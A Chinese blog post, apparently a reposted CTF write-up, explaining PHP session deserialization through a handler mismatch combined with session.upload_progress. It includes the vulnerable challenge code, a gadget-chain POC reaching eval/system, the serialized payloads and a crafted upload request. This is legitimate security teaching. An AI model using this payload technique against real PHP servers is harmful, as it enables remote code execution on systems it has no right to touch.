关于PHP SESSION反序列化

原文链接:http://wyb0.com/posts/php-session-unserialize/

0x00 环境

公司出了一些ctf,说要摸底,然后根据答题成绩来分配相应工作。。。。。

其中有一道是php反序列化,直接用的就是 第三届4.29“安恒杯”网络安全技术大赛初赛第三个web题

我比较菜,这里根据网上已有writeup做了一遍,这里记录一下。。。。

reber@wyb:~$ html cat /proc/version
Linux version 4.4.0-31-generic (buildd@lgw01-43) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016

reber@wyb:~$ html php --version
PHP 5.5.9-1ubuntu4.21 (cli) (built: Feb  9 2017 20:54:58)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies

reber@ubuntu-linux:~$ apachectl -v
Server version: Apache/2.4.7 (Ubuntu)
Server built:   Jul 15 2016 15:34:04
#php.ini部分相关配置
session.auto_start=Off
session.serialize_handler=php_serialize
session.upload_progress.cleanup=Off
session.upload_progress.enabled=On

0x01 PHP Session 序列化及反序列化处理器

php在session存储和读取时,都会有一个序列化和反序列化的过程,反序列化中会调用对象的magic方法,比如__destruct(),__wakeup()

PHP 内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,这几种处理器如下:

---------------------------------------------------------------------------------------------
处理器                      |对应的存储格式
---------------------------------------------------------------------------------------------
php                        |键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary                 |键名的长度对应的ASCII字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) |经过 serialize() 函数反序列处理的数组
---------------------------------------------------------------------------------------------



一般来说当你访问一个网站时若浏览器Cookie中生成 PHPSESSID=02jhnntphc2sg87i03kvv99425;,则服务器会生成名字类似于sess_02jhnntphc2sg87i03kvv99425的对应session文件,里面存的就是session信息

比如http://10.11.11.11/test.php有如下代码:

<?php
    session_start();
    $name = $_GET['name'];
    $passwd = $_GET['passwd'];
    $_SESSION['name'] = $name;
    $_SESSION['passwd'] = $passwd;
?>

当你访问10.11.11.11/test.php?name=xiaoming&passwd=123456时,使用不同处理器时session文件就会存入相应格式的序列化字符串:

---------------------------------------------------------------------------------------
处理器                      |对应存储的序列化字符串
---------------------------------------------------------------------------------------
php                        |name|s:8:"xiaoming";passwd|s:6:"123456";
php_binary                 |names:8:"xiaoming";passwds:6:"123456";
php_serialize (php>=5.5.4) |a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:6:"123456";}
---------------------------------------------------------------------------------------

如果 PHP 在反序列化存储的 SESSION 数据时使用的处理器和序列化时使用的处理器不同,可能会导致数据无法正确反序列化,经过构造甚至可以执行代码

0x02 相关文件

一共有三个文件:

  • class.php
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
    public $varr;
    function __construct(){
        $this->varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}

class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = null;
    }
    function __toString(){
        $this->obj->execute();
        return $this->varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}

class foo3{
    public $varr;
    function execute(){
        eval($this->varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}

?>
  • index.php
<?php
    ini_set('session.serialize_handler', 'php');
    //服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
    require("./class.php");
    session_start();

    $obj = new foo1();
    $obj->varr = "phpinfo.php";
?>
  • phpinfo.php
<?php
    session_start();
    require("./class.php");

    $f3 = new foo3();
    $f3->varr = "phpinfo();";
    $f3->execute();
?>

0x03 解题思路

先说下session.upload_progress.enabled,当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。

当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得。

当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。


假如说正常服务器php使用的是php_serialize处理器时,若post:name=xiaoming&passwd=123456|aaaaaaaaa,

则session中存的就是a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:16:"123456|aaaaaaaaa";},若还用php_serialize读取数据的话还能读取到正常数据

但若以php处理器读取时得到的就是键为a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:16:"123456

值为|后面的序列化字符串反序列化后的数据(因为php处理器存储的格式是:键名|反序列后的值)


当前代码的话没有向服务器提交数据,但是现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据


  • POC
<?php
class foo3{
    public $varr;
    function __construct(){
        $this->varr = 'system(\'ls /var/www/html\');';
    }
}
 
class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1';
        $this->obj = new foo3();
    }
}
 
class foo1{
    public $varr;
    function __construct(){
        $this->varr = new foo2();
    }
}
 
echo serialize(new foo1());
?>
  • 上传表单

这里的action只要是服务器上代码中有session_start()的php文件即可

<form action="http://192.168.3.136/index.php" method="POST" enctype="multipart/form-data">        
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />        
    <input type="file" name="file" />        
    <input type="submit" />
</form>

0x04 利用

  • 首先利用poc生成序列化的payload
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:28:"system('cat /proc/version');";}}}
  • 通过上面的表单上传文件时抓包改包如下
POST /phpinfo.php HTTP/1.1
Host: 10.11.11.11
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://127.0.0.1/upload.html
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1971979777391321181548092978
Content-Length: 489

-----------------------------1971979777391321181548092978
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:27:"system('ls /var/www/html');";}}} 
-----------------------------1971979777391321181548092978
Content-Disposition: form-data; name="file"; filename="tmp.txt"
Content-Type: text/plain

abcdefg
-----------------------------1971979777391321181548092978--
image

请求后服务器上生成的session文件sess_6oa2pegcmlejjvhr4t68ric5l5的内容为:

a:1:{s:152:"upload_progress_123|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:27:"system('ls /var/www/html');";}}}
  • 改包重新访问从而执行代码
image
  • 然后更改poc中的payload生成新的序列化字符串,重复上述操作即可得到flag


Reference(侵删):

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342

推荐阅读更多精彩内容

  • php.ini设置,上传大文件: post_max_size = 128Mupload_max_filesize ...
    bycall阅读 6,736评论 3 64
  • Php:脚本语言,网站建设,服务器端运行 PHP定义:一种服务器端的HTML脚本/编程语言,是一种简单的、面向对象...
    廖马儿阅读 2,114评论 2 38
  • 项目开发常见流程介绍 需求调研 项目经理------>需求说明书 软件设计书 项目经理------>...
    _1633_阅读 1,395评论 1 6
  • 转载自cr180大神DiscuzX2.5完整目录结构【source程序文件库】 /source/admincp后台...
    cndaqiang阅读 832评论 1 2
  • 看完了《我不是药神》看哭了,天价药那个医院都有这种情况,头痛感冒发烧去趟医院一圈下来少则二三百,多则上千,更不要提...
    筱夏美饰阅读 380评论 1 1